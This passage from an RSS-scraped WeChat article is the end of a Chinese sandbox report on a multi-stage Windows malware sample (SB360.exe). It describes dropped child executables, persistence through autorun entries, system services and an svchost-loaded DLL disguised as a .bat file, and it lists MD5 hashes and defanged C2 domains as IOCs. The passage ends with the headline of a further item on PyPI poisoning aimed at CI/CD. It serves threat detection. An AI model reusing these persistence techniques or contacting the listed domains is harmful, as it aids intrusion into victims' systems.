start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" alt="alt text" class="rich_pages wxw-img" data-ratio="0.04351851851851852" data-type="png" data-w="1080" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005413" src="https://wechat2rss.xlab.app/img-proxy/?k=f06557d1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQSjGzxHEMdthsjROIZShsS7Gr0t9vHXwbxyP0VTjl6Uv7hDGQic7xWhZQuCnWMD8hXK5n223TMgVjVrVIGiaVC0Y7qn5nVqzPcrnpOoxpxhbg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图5 设置 HD_ls.exe 自启动</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" alt="alt text" class="rich_pages wxw-img" data-ratio="0.041666666666666664" data-type="png" data-w="1080" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005416" src="https://wechat2rss.xlab.app/img-proxy/?k=8f6f7db8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FQSjGzxHEMdsefP0x6nu8kglliaYfYw5Pgp3rdibcCzicCNEwWXlaDKC2wzHgvyLjSYCFznRI1EFuyBTY85ruCP1hAZyDCvqiasC98kl8yMOErwU%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图6 ._cache_SB360.exe 访问域名</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">HD_._cache_SB360.exe 释放并执行 ._cache_HD_._cache_SB360.exe 文件。._cache_HD_._cache_SB360.exe 进程进一步释放并执行 HD_._cache_HD_._cache_SB360.exe 和 GLk.exe 程序。如图 7 所示。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" alt="alt text" class="rich_pages wxw-img" data-ratio="0.24074074074074073" data-type="png" data-w="1080" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005418" src="https://wechat2rss.xlab.app/img-proxy/?k=d26afc2a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQSjGzxHEMduK3Ciba0XseVo7rNmF3ib80eKgS5lLAiazkeYvKR2VUs7CoMH0oKaiaXiaNIm9IgZXH5byfNibEjgYJFlTlYhcR8jGP4vv04gnClDns%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图7 创建子进程</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">HD_._cache_HD_._cache_SB360.exe 进程将自身拷贝到 C:\WINDOWS\System32\Abrst.exe 并创建系统服务，访问域名 5614894156aa[.]e1[.]luyouxia[.]net。如图 8、9、10 所示。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" alt="alt text" class="rich_pages wxw-img" data-ratio="0.04814814814814815" data-type="png" data-w="1080" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005417" src="https://wechat2rss.xlab.app/img-proxy/?k=d719eca6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQSjGzxHEMdu0vCnwINAib4OpIG8O8Fic8FOTxZHY47UR3ZTicyibnEJmzAck2LKPoSCWV5CsASeibelkcPxWB5ZdUS6gcibztkJgsibiavhU2p4VIz4%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图8 复制自身</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" alt="alt text" class="rich_pages wxw-img" data-ratio="0.10462962962962963" data-type="png" data-w="1080" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005419" src="https://wechat2rss.xlab.app/img-proxy/?k=28dec389&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQSjGzxHEMdsBPdqFiaHaAfANibHYibvicRplx7asartDu6Z6Z5fClu89XStByXcC8PL1nzgdx59Z3qbEiboRx9LdUJnYxNwn8xlK8Gia3OPcV1neI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图9 创建系统服务</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" alt="alt text" class="rich_pages wxw-img" data-ratio="0.03333333333333333" data-type="png" data-w="1080" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005415" src="https://wechat2rss.xlab.app/img-proxy/?k=6dc2fcb7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQSjGzxHEMduqsOhxCcw4ON6jnib3t7R2lZV1GOGrlm4PhEhlO4gO65cHHGVaoNSzDbxTRErCJicr85xqJengjuj07O3JLialt86Mk46Jyh1xmY%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图10 Abrst.exe 访问域名</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">GLk.exe 进程会创建系统服务，并利用系统 </span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">svchost.exe</span></strong><span leaf=""> 加载 53727812.bat(实际为 DLL 文件)以实现持久化驻留，并访问域名 kinh[.]xmcxmr[.]com。如图 11、12 所示。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" alt="alt text" class="rich_pages wxw-img" data-ratio="0.20462962962962963" data-type="png" data-w="1080" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005420" src="https://wechat2rss.xlab.app/img-proxy/?k=fe9f8b5e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQSjGzxHEMdsr9UhjhOjb4fqxVCpeDLRJBRs0RDfnhPqf1HDMrw2LVuwrVwAHuH7Qp3RbhG6qRgibZqPTCxCmLTeDLiaZHbGVdUakOtUiaIpX18%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图11 加载模块实现持久化</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" alt="alt text" class="rich_pages wxw-img" data-ratio="0.027777777777777776" data-type="png" data-w="1080" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005421" src="https://wechat2rss.xlab.app/img-proxy/?k=ee3a5982&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQSjGzxHEMdvRNyqViaws9S6e6jewJZbUGYbnzoBRgzDbYhaPAqWHcw1EJVXTVBxqkmTaGzpOx8yce5ZskWEOXDtFHVYxQqVfVCaRicxVg8rWc%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图12 GLK.exe 访问域名</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">沙箱报告进程信息部分展示了样本执行过程释放和创建子进程执行的逻辑关系，如图 13 所示。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" alt="alt text" class="rich_pages wxw-img" data-ratio="0.844354018311292" data-type="png" data-w="983" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005422" src="https://wechat2rss.xlab.app/img-proxy/?k=81ccbf4a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQSjGzxHEMduDmhxbYp8QCmICiaHqVRZV5cGna5TH68eIfMljB8vjtN3EiahYJq7GuQ4n7Kypr8WvqOecmkk7xHMBqPa6YEYWW3QaOLCIkMW3I%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图13 样本进程信息</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">综上分析，该样本在执行后通过多级释放和执行子文件的方式构建了较为复杂的恶意执行链。SB360.exe 作为初始入口程序，通过释放并执行隐藏文件 ._cache_SB360.exe 实现后续恶意模块的加载。同时，攻击者利用伪装为系统驱动组件的自启动项 Synaptics Pointing Device Driver 建立初始持久化机制，并通过 Synaptics.exe 与外部域名建立通信。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">随后，恶意程序通过持续释放新的可执行文件（如 HD_._cache_SB360.exe、._cache_HD_._cache_SB360.exe、GLk.exe 等）逐级扩展其功能，并通过创建系统服务、设置开机自启动等方式实现多重持久化。同时，样本利用 svchost.exe 加载恶意组件以提高隐蔽性，并通过多个动态域名与外部服务器保持通信，从而实现远程控制或后续载荷的下载执行。</span></p><h1 style="box-sizing: border-box;font-size: 1.5rem;margin: 0.5rem 0px;line-height: 1.5rem;font-weight: 500;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">四、IOC</span></h1><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">恶意文件（MD5）</span></strong></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang=""><code><span leaf="">7f9f21ed23c68b5452945d6595ba589 SB360.exe</span></code><br/><code><span leaf="">95eb3a84be9bd0ae9e970f95df889584 ._cache_SB360.exe</span></code><br/><code><span leaf="">e6602803d2908eb659e19d7bb39a2a8c svchost.exe</span></code><br/><code><span leaf="">bc83f5c2166951713d82178e0e8bb5a8 Synaptics.exe</span></code><br/></pre></p><p><strong style="box-sizing: border-box;font-weight: 600;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">恶意IOC</span></strong></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="css"><code><span leaf="">kinh<span class="code-snippet__selector-attr">[.]</span>xmcxmr<span class="code-snippet__selector-attr">[.]</span>com</span></code><br/><code><span leaf="">xred<span class="code-snippet__selector-attr">[.]</span>mooo<span class="code-snippet__selector-attr">[.]</span>com</span></code><br/><code><span leaf="">qq678833<span class="code-snippet__selector-attr">[.]</span>f08<span class="code-snippet__selector-attr">[.]</span><span class="code-snippet__number">87</span>yun<span class="code-snippet__selector-attr">[.]</span>club</span></code><br/></pre></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf=""><span textstyle="" style="font-weight: normal;">报告链接：[天穹沙箱分析报告](<a href="https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=c107d81046ee7d61c9d4d8cc0ea7702e&amp;sk=68147171)" target="_blank">https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=c107d81046ee7d61c9d4d8cc0ea7702e&amp;sk=68147171)</a></span></span></strong></p><p data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;font-weight: bold;">天穹智能分析平台</span></span><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 16px;"><strong style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;">（联系我们申请账号）：<a href="https://sandbox.qianxin.com" target="_blank">https://sandbox.qianxin.com</a></span></span></span></strong></span></p><div data-role="outer" label="edit by 135editor" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;caret-color: rgb(34, 34, 34);visibility: visible;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px 0px 10px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;justify-content: flex-start;display: flex;flex-flow: row;"><div data-lazy-bgimg="https://mmbiz.qpic.cn/mmbiz_jpg/lG0evzxL96mb6T0XCd0WWkltxz466LZkI7a6qOAWvwoqTuvPUGK2Okj4L0H6fK295GcaGrMkbh8VLpE3a1zwvw/640?wx_fmt=jpeg" data-fail="0" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: inline-block;width: 677px;vertical-align: top;background-size: 100% 100%;background-attachment: scroll;border-style: solid;border-width: 2px 1px 1px;border-color: rgb(18, 94, 168) rgba(183, 217, 255, 0.39) rgba(183, 217, 255, 0.39);align-self: flex-start;flex: 0 0 auto;background-image: url(&#34;https://wechat2rss.xlab.app/img-proxy/?k=5d7eaeef&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FlG0evzxL96mb6T0XCd0WWkltxz466LZkI7a6qOAWvwoqTuvPUGK2Okj4L0H6fK295GcaGrMkbh8VLpE3a1zwvw%2F640%3Fwx_fmt%3Djpeg&#34;);background-position: 50% 50%;background-repeat: no-repeat;"><div powered-by="xiumi.us" style="-webkit-tap-highlight-color: transparent;margin: 10px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px 15px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(62, 62, 62);"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;">天穹智能分析平台持续迭代升级，致力于为每一位样本分析人员打造更高效、更智能、更易用的分析平台——这始终是我们不变的初心与追求。</span></span></p><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;">如果您希望深入了解平台功能，或在使用过程中遇到任何问题，欢迎随时联系我们。您的反馈，是我们进步的重要动力！</span></span></p></div></div></div></div></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=3a77b03f&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4OTU4MjQ4Mg%3D%3D%26mid%3D2247489076%26idx%3D1%26sn%3D6efee85d03241a1eb1bff49ace925b27">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 02 Mar 2026 17:48:00 +0800</pubDate>
    </item>
    <item>
      <title>【天问】发现针对CI/CD的PyPI恶意包投毒攻击</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4OTU4MjQ4Mg==&amp;mid=2247489049&amp;idx=1&amp;sn=18d9b2523cc0676276d45ff98f2a77ca</link>
      <description>天问监测模块在2026年2月发现了一批针对CI/CD的恶意软件包，通过包名伪装来诱导用户下载，在依赖安装阶段隐蔽执行恶意代码，从而窃取CI运行环境中的构建元数据与敏感环境变量。</description>
      <content:encoded><![CDATA[<p><span>星图实验室</span> <span>2026-02-27 17:06</span> <span style="display: inline-block;">北京</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=b331b6a8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQSjGzxHEMds7a6M6diad7l2kqhoOI8xyXpZv5kODAlCOUfJU4HlKNobEFTM5bNVPlRictMDAGavJSibosL3e0Qf7RrtrN8220iacqECjtvXLtHw%2F0%3Fwx_fmt%3Djpeg"/></p>
  
